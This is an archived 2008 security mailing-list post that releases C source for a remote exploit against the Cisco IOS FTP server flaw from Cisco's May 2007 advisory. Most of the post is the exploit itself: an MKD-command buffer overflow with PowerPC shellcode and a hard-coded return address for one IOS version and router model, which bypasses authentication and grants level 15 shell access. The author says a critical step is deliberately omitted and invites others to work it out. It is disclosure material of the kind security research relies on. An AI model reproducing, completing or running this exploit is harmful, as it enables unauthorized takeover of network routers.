OSEC

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Remote Cisco IOS FTP exploit

From: Andy Davis (iosftpexploitgooglemail.com)
Date: Tue Jul 29 2008 - 05:31:11 CDT


Hi,

The IOS FTP server vulnerabilities were published in an advisory by
Cisco in May 2007. The FTP server does not run by default, it is not
widely used and has since been removed from new versions of IOS.
Therefore, I took the decision to release this exploit code in order
to show that IOS can be reliably exploited to provide remote level 15
exec shell access. This clearly demonstrates that patching your router
is just as important as patching your servers.

To prevent its widespread abuse I have omitted a critical step which
means that it will only work when the router is connected to a
debugger - not something you are likely to encounter on the Internet

Anyway, hopefully this will promote further IOS security research as
there's plenty left to look at!

Cheers,

Andy

/*

 Cisco IOS FTP server remote exploit by Andy Davis 2008

 Cisco Advisory ID: cisco-sa-20070509-iosftp - May 2007

 Specific hard-coded addresses for IOS 12.3(18) on a 2621XM router

 Removes the requirement to authenticate and escalates to level 15

 *********************************************************************
 To protect the innocent a critical step has been omitted, which means
 the shellcode will only execute when the router is attached to gdb.
 I'm sure the PowerPC shellcoders out there will work it out...
 *********************************************************************

 Thanks to Gyan Chawdhary and Varun Uppal for all the hours they spent
 on the original IOS security research

 iosftpexploit <at> googlemail 'dot' com

*/

#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>

#define PORT 21

int main(int argc, char **argv)
{
unsigned char sendbuf[] =

"MKD "

/* .equ vty_info, 0x8182da60 # pointer to VTY info */
/* .equ terminate, 0x80e4086c # kill a process */

"\x3c\x80\x81\x83" /* lis 4,vty_infoha */
"\x38\x84\xda\x60" /* la 4,vty_infol(4) */
"\x7d\x08\x42\x78" /* xor 8,8,8 */
"\x7c\xe4\x40\x2e" /* lwzx 7,4,8 */
"\x91\x07\x01\x74" /* stw 8,372(7) */
"\x39\x08\xff\xff" /* subi 8,8,1 */
"\x38\xe7\x09\x1a" /* addi 7,7,233 */
"\x91\x07\x04\xca" /* stw 8,1226(7) */
"\x7d\x03\x43\x78" /* mr 3,8 */
"\x3c\x80\x80\xe4" /* lis 4,terminateha */
"\x38\x84\x08\x6c" /* la 4,terminatel(4) */
"\x7c\x89\x03\xa6" /* mtctr 4 */
"\x4e\x80\x04\x20" /* bctr */

/* exists cleanly without adversely affecting the FTP server */

"\x61\x61\x61\x61" /* padding */
"\x61\x61\x61\x61" /* padding */
"\x61\x61\x61\x61" /* padding */
"\x61\x61\x61\x61" /* padding */
"\x61\x61\x61\x61" /* padding */
"\x61\x61\x61\x61" /* padding */

"\x80\x06\x23\xB8" /* return address */
"\x0d\x0a";

/* trampoline code */
/* when the overflow occurs r26+0x14 points to the shellcode */
/*
0x800623B8 lwz 26, 20(26)
0x800623BC mtctr 26
0x800623C0 mr 3, 27
0x800623C4 bctrl
*/

unsigned char recvbuf[256];
struct sockaddr_in servaddr;
int s;

if (argc != 2)
        {
        printf ("\nCisco IOS FTP server remote exploit by Andy Davis 2008\n");

        printf ("\nUsage: %s <target IP address>\n",argv[0]);
        exit(-1);
        }

servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr(argv[1]);
servaddr.sin_port = htons(PORT);

s = socket(AF_INET, SOCK_STREAM, 0);
connect (s, (struct sockaddr *) &servaddr, sizeof(servaddr));
printf ("\nCisco IOS FTP server remote exploit by Andy Davis 2008\n");
printf ("Specific offsets for IOS 12.3(18) on a 2621XM router\n\n");
printf ("Sending exploit...\n\n");

if (send(s, sendbuf, sizeof(sendbuf)-1, 0) == 0)
        {
        printf("Error sending packet...quitting\n\n");
        exit (1);
        }
recv (s, recvbuf, sizeof(recvbuf)-1,0);
printf ("Now telnet to the router for a shell...\n\n");
}